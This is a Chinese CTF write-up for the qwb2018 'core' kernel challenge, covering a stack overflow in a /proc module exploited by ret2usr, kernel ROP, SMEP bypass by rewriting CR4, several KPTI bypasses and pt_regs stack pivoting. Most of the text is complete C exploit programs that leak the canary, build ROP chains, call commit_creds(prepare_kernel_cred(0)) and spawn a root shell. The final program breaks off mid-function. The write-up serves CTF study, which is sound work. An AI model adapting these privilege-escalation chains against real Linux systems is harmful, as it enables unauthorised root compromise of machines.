CTF-PWN-kernel-棧溢出(retuser rop pt_regs ret2dir)

文章目錄

  • 參考
  • qwb2018 core
  • 檢查
  • 逆向
  • 調試
  • 打包上傳測試腳本
  • retuser
  • kernel rop
    • init_cred
    • commit_creds( prepare_kernel_cred(0) )
    • 開啟KPTI利用swapgs_restore_regs_and_return_to_usermode
    • 開啟KPTI利用SIGSEGV
    • rop設置CR3寄存器再按照沒有KPTI返回
  • kernel rop + ret2user
  • pt_regs 構造 kernel ROP
  • ret2dir

參考

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x01-Kernel-ROP-basic
https://bbs.kanxue.com/thread-276403.htm#msg_header_h2_7
https://xz.aliyun.com/t/7625?time__1311=n4%2BxnD0G0%3DG%3Dn4Gwx05%2B4hri%3DdeY5GOKweD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-8
https://kiprey.github.io/2021/10/kernel_pwn_introduction/#5-kernel-%E7%9A%84-UAF-%E5%88%A9%E7%94%A8
https://blog.csdn.net/qq_45323960/article/details/130660417?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171982506416800211525431%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=171982506416800211525431&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-2-130660417-null-null.nonecase&utm_term=kernel&spm=1018.2226.3001.4450

qwb2018 core

檢查

在這里插入圖片描述

逆向

  • 調用proc_create函數來創建一個新的proc文件系統條目
  • &core_fops是一個指向file_operations結構體的指針,這個結構體定義了文件操作函數,比如打開、讀取、寫入等。

在這里插入圖片描述
在這里插入圖片描述core_copy_func存在棧溢出,將可以將name的63個字節復制到棧上的v2數組

在這里插入圖片描述
name是內核的數據,可以通過core_write將用戶數據復制到name
在這里插入圖片描述

調試

記得設置root,否則看不了
在這里插入圖片描述
然后關閉kalsr,方便下斷點
在這里插入圖片描述
查看模塊相關段和內核中存在的符號函數

在這里插入圖片描述

打包上傳測試腳本

#!/bin/sh
gcc expolit.c -static -masm=intel -g -o expolit
mv expolit fs/
cd core
find . | cpio -o --format=newc > core.cpio
mv core.cpio ..
cd ..
./start.sh

在沒有開啟SMAP/SMEP的情況下,可以使用ret2usr,直接在內核態訪問用戶態的代碼并執行。
PS: 在使用ret2usr進行提取時,切記不要使用庫函數(會引起系統調用導致內核panic)

retuser

就是在內核態執行的時候往內核態的棧中寫入用戶程序的返回地址,然后跳轉到用戶代碼執行,然后執行用戶程序定義的函數,期間提權并模擬返回用戶態的過程
rip是切換到內核態時候最后壓入的,iretq通過pop恢復各個寄存器,順序從rip到ss
在這里插入圖片描述
返回地址變為用戶態的代碼,并執行commit_creds(prepare_kernel_cred(0));
在這里插入圖片描述
切換到用戶態
在這里插入圖片描述

iretq此時棧中為之前設置的結構體
在這里插入圖片描述
通過恢復rip跳轉到getshell函數
在這里插入圖片描述
提權成功
在這里插入圖片描述

__attribute__((packed))這是GCC編譯器的一個擴展屬性,用于告訴編譯器在打包結構體成員時不要添加任何填充(padding)。通常,編譯器會在結構體成員之間添加填充字節來保證數據對齊,這可能會導致結構體的大小增加。
使用packed屬性可以確保trap_frame結構體的布局在內存中緊湊,每個成員緊跟前一個成員,沒有額外的填充。

  1. #define KERNCALL __attribute__((regparm(3))):

    • 這是一個宏定義,KERNCALL 被定義為使用 GCC 編譯器的 regparm 屬性,該屬性指定函數的參數通過寄存器傳遞。
    • regparm(3) 表示函數的前三個參數將通過寄存器傳遞,而不是通過棧。這有助于減少函數調用的開銷,提高性能。
  2. void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;:

    • 這行代碼定義了一個名為 prepare_kernel_cred 的函數指針,它指向一個接受一個 void 指針參數并且返回一個 void 指針的函數。
    • KERNCALL 是上面定義的宏,它指定了函數調用約定,即參數通過寄存器傳遞。
    • = (void *) 0xFFFFFFFF8109CCE0; 這行代碼將 prepare_kernel_cred 指針初始化為一個特定的內存地址。這個地址是硬編碼的,可能指向內核中負責準備(設置)用戶憑證的函數。
  3. void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;:

    • 這行代碼與上一行類似,定義了另一個函數指針 commit_creds,它也指向一個接受和返回 void 指針的函數。
    • 同樣使用 KERNCALL 宏來指定函數調用約定。
    • = (void *) 0xFFFFFFFF8109C8E0;commit_creds 指針初始化為另一個特定的內存地址。這個地址指向內核中負責提交(更改)當前任務憑證的函數。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>#define KERNCALL __attribute__((regparm(3)))void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;void *init_cred = (void *) 0xFFFFFFFF8223D1A0;void get_shell() { system("/bin/sh"); }struct trap_frame {size_t user_rip;size_t user_cs;size_t user_rflags;size_t user_sp;size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;void save_status() {asm("movq %%cs, %0\n\t""movq %%ss, %1\n\t""movq %%rsp, %2\n\t""pushfq\n\t""popq %3\n\t": "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags):: "memory");tf.user_rip = (size_t) get_shell;tf.user_cs = user_cs;tf.user_rflags = user_rflags;tf.user_sp = user_sp - 0x1008;tf.user_ss = user_ss;puts("[*] status has been saved.");
}void get_root() {
//    commit_creds(init_cred);commit_creds(prepare_kernel_cred(0));asm volatile ("swapgs;"             // 交換GS寄存器的基地址"movq %0, %%rsp;"     // 將tf_addr的值移動到棧指針"iretq;"               // 從中斷或異常返回:: "r" (tf_addr)      // 輸入操作數列表,tf_addr作為輸入: "memory"            // 指示匯編代碼可能修改內存);
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds = (void *) ((size_t) commit_creds + offset);prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);init_cred = (void *) ((size_t) init_cred + offset);break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {rebase();save_status();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;*(void **) &buf[80] = get_root;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}

通過溢出執行用戶代碼,然后從而完成提權和切換到用戶態操作

kernel rop

開啟 smep 和 smap 保護后,內核空間無法執行用戶空間的代碼,并且無法訪問用戶空間的數據或者跳轉到用戶空間的代碼執行。
利用 ROP ,在內核中執行 commit_creds(prepare_kernel_cred(0))完成提權 , 然后 iret 返回用戶空間再執行getshell函數

init_cred

可以找到init_cred作為參數,然后直接commit_creds,不需要prepare_creds
在這里插入圖片描述

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;void get_shell() {system("/bin/sh");
}size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_popfq_ret += offset;iretq += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;rop[it++] = pop_rdi_ret;rop[it++] = init_cred;rop[it++] = commit_creds;rop[it++] = swapgs_popfq_ret;rop[it++] = 0;rop[it++] = iretq;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}

commit_creds( prepare_kernel_cred(0) )

這里prepare_kernel_cred(0)執行后需要執行mov rdi, rax; ret但沒有合適的,參考sky佬使用pop rdx; ret; mov rdi,rax; call rdx但pop后rdx是pop rcx; ret; call rdx那么就相當于ret了

在這里插入圖片描述

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;void get_shell() {system("/bin/sh");
}size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_popfq_ret += offset;iretq += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;rop[it++] = pop_rdi_ret;rop[it++] = 0;rop[it++] = prepare_kernel_cred;rop[it++] = pop_rdx_ret;rop[it++] = pop_rcx_ret;rop[it++] = mov_rdi_rax_call_rdx;rop[it++] = commit_creds;rop[it++] = swapgs_popfq_ret;rop[it++] = 0;rop[it++] = iretq;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}

開啟KPTI利用swapgs_restore_regs_and_return_to_usermode

https://b0ldfrev.gitbook.io/note/linux_kernel/kernelpwn-zhuang-tai-qie-huan-yuan-li-ji-kpti-rao-guo
將 CPU 類型修改為 kvm64 后開啟了 KPTI 保護。
在這里插入圖片描述
在開啟KPTI內核,提權返回到用戶態(iretq/sysret)之前如果不設置CR3寄存器的值,就會導致進程找不到當前程序的正確頁表,引發段錯誤,程序退出。

有一種比較懶惰的方法就是利用swapgs_restore_regs_and_return_to_usermode這個函數返回:

cat /proc/kallsyms| grep swapgs_restore_regs_and_return_to_usermode找到它在內核地址
swapgs_restore_regs_and_return_to_usermode的代碼如下
在這里插入圖片描述
跳過前面的pop指令也可以返回到用戶態即程序流程控制到 mov rdi, rsp 指令,棧布局如下就行,具體原因調試即可

rsp  ---->  mov_rdi_rsp00ripcsrflagsrspss

在這里插入圖片描述

進入內核前的CR3
在這里插入圖片描述
進入內核后的CR3
在這里插入圖片描述
開始執行用戶態的代碼時會出現page_fault
在這里插入圖片描述在這里插入圖片描述

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;void get_shell() {system("/bin/sh");
}size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_restore_regs_and_return_to_usermode += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;//    rop[it++] = pop_rdi_ret;
//    rop[it++] = init_cred;
//    rop[it++] = commit_creds;rop[it++] = pop_rdi_ret;rop[it++] = 0;rop[it++] = prepare_kernel_cred;rop[it++] = pop_rdx_ret;rop[it++] = pop_rcx_ret;rop[it++] = mov_rdi_rax_call_rdx;rop[it++] = commit_creds;rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;rop[it++] = 0;rop[it++] = 0;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}

開啟KPTI利用SIGSEGV

如果找不到 swapgs_restore_regs_and_return_to_usermode 則可以為 SIGSEGV 先注冊異常處理函數 get_shell ,然后按照沒有 kpti 的方式返回用戶態。觸發段錯誤異常后自動完成用戶態的返回。

signal(SIGSEGV, get_shell); 這行代碼的作用是設置一個信號處理函數,當進程遇到SIGSEGV(分段違例)信號時,將會調用get_shell函數。SIGSEGV信號通常在程序試圖訪問非法內存地址時由操作系統發送,例如嘗試讀取或寫入不存在的內存位置。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t iretq = 0xffffffff81050ac2;
size_t swapgs_popfq_ret = 0xffffffff81a012da;void get_shell() {system("/bin/sh");
}size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;iretq += offset;swapgs_restore_regs_and_return_to_usermode += offset;swapgs_popfq_ret += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();signal(SIGSEGV, get_shell);core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;//    rop[it++] = pop_rdi_ret;
//    rop[it++] = init_cred;
//    rop[it++] = commit_creds;rop[it++] = pop_rdi_ret;rop[it++] = 0;rop[it++] = prepare_kernel_cred;rop[it++] = pop_rdx_ret;rop[it++] = pop_rcx_ret;rop[it++] = mov_rdi_rax_call_rdx;rop[it++] = commit_creds;rop[it++] = swapgs_popfq_ret;rop[it++] = 0;rop[it++] = iretq;rop[it++] = 0x12345678;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}

rop設置CR3寄存器再按照沒有KPTI返回

另一種在kernel提權返回用戶態的時候繞過kpti的方法就是利用內核映像中現有的gadget

mov     rdi, cr3
or      rdi, 1000h
mov     cr3, rdi

來設置CR3寄存器,并按照iretq/sysret 的需求構造內容,再返回就OK了。

kernel rop + ret2user

先利用 rop 的mov設置 cr4 為 0x6f0 (這個值可以通過用 cr4 原始值 & 0xFFFFF 得到)關閉 smep , 然后 iret 到用戶空間去執行提權代碼。這樣也可以繞過 smap 和 smep

在這里插入圖片描述
此時開啟
在這里插入圖片描述
通過pop 然后mov設置cr4
在這里插入圖片描述
然后可以直接跳轉到用戶態代碼執行
在這里插入圖片描述
用戶態代碼再執行commit_creds(prepare_kernel_cred(0))或者commit_creds(init_cred),然后再返回到用戶態再跳轉到system("/bin/sh");

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>#define KERNCALL __attribute__((regparm(3)))void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;void get_shell() { system("/bin/sh"); }size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}void get_root() {
//    commit_creds(init_cred);commit_creds(prepare_kernel_cred(0));
}int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_copy_func(size_t len) {ioctl(core_fd, 0x6677889A, len);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds = (void *) ((size_t) commit_creds + offset);prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);init_cred = (void *) ((size_t) init_cred + offset);pop_rdi_ret += offset;pop_rdx_ret += offset;pop_rcx_ret += offset;mov_rdi_rax_call_rdx += offset;swapgs_popfq_ret += offset;iretq += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}int main() {save_status();rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;size_t *rop = (size_t *) &buf[80], it = 0;rop[it++] = pop_rdi_ret;rop[it++] = 0x00000000000006f0;rop[it++] = mov_cr4_rdi_ret;rop[it++] = (size_t) get_root;rop[it++] = swapgs_popfq_ret;rop[it++] = 0;rop[it++] = iretq;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;core_write(buf, sizeof(buf));core_copy_func(0xffffffffffff0000 | sizeof(buf));return 0;
}

pt_regs 構造 kernel ROP

如果限制溢出只能覆蓋返回地址,此時需要棧遷移到其他地方構造 rop 。可以通過 pt_regs 上構造 rop 。

系統調用syscall會進入到 entry_SYSCALL_64,該函數會將所有的寄存器壓入內核棧上,形成一個 pt_regs 結構體,該結構體實質上位于內核棧底,定義如下:

struct pt_regs {
/** C ABI says these regs are callee-preserved. They aren't saved on kernel entry* unless syscall needs a complete, fully filled "struct pt_regs".*/unsigned long r15; //低地址unsigned long r14;unsigned long r13;unsigned long r12;unsigned long rbp;unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */unsigned long r11;unsigned long r10;unsigned long r9;unsigned long r8;unsigned long rax;unsigned long rcx;unsigned long rdx;unsigned long rsi;unsigned long rdi;
/** On syscall entry, this is syscall#. On CPU exception, this is error code.* On hw interrupt, it's IRQ number:*/unsigned long orig_rax;
/* Return frame for iretq */unsigned long rip;unsigned long cs;unsigned long eflags;unsigned long rsp;unsigned long ss; //高地址
/* top of stack page */
};

由于內核棧只有一頁大小,只需要尋找到一條形如 “add rsp, val ; ret” 的 gadget 然后通過push進去的設置號的寄存器內容便能夠完成 ROP

當前rsp距離pt_regs 的偏移在這里插入圖片描述
pt_regs 總共0xa8大小
在這里插入圖片描述
另外值得注意的是 pt_regs 中對應 r11 和 rcx 的位置分別被寫入了 eflags 和返回地址(設置的是system(“/bin/sh”)),不受我們控制。
通過add rsp, value或者pop使得rsp到達pt_regs 如add rsp,0xc8 pop rbx pop rbp pop r12 pop r13 ret可以實現增加0xe8的效果

在這里插入圖片描述
所以在溢出之前將寄存器設置好,利用系統調用在棧底部壓入的內容作為等會遷移后的rop,然后溢出執行調整rsp的gadget,然后通過之前設置好的寄存器進行rop
這里使用swapgs_restore_regs_and_return_to_usermode來切換回用戶態,需要調整偏移,使得最后能夠返回到原來的返回地址上system("/bin/sh")

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;add_rsp_0xe8_ret += offset;swapgs_restore_regs_and_return_to_usermode += offset + 8;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
